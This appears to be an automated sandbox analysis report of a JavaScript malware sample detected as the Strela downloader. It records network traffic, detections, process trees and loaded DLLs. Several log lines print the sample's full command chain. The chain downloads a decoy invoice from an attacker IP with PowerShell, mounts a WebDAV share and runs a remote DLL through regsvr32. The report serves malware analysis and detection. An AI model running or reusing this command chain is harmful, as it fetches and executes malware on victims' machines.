TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1464286223.000001F798ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1547254013.0000021DE0ED8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1548849363.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1544561070.0000021DE0F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1549704736.0000021DE0F2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545021659.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1548849363.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545021659.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//
Source: net.exe, 00000007.00000002.1548849363.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545021659.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9-
Source: svchost.exe, 00000009.00000002.2750036786.0000024D5B000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1546271341.0000024D5AE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1512, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 31068282522384212209.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4260:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2o0skna.w4m.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1640,i,5230379578885629213,765984037929995897,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1640,i,5230379578885629213,765984037929995897,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
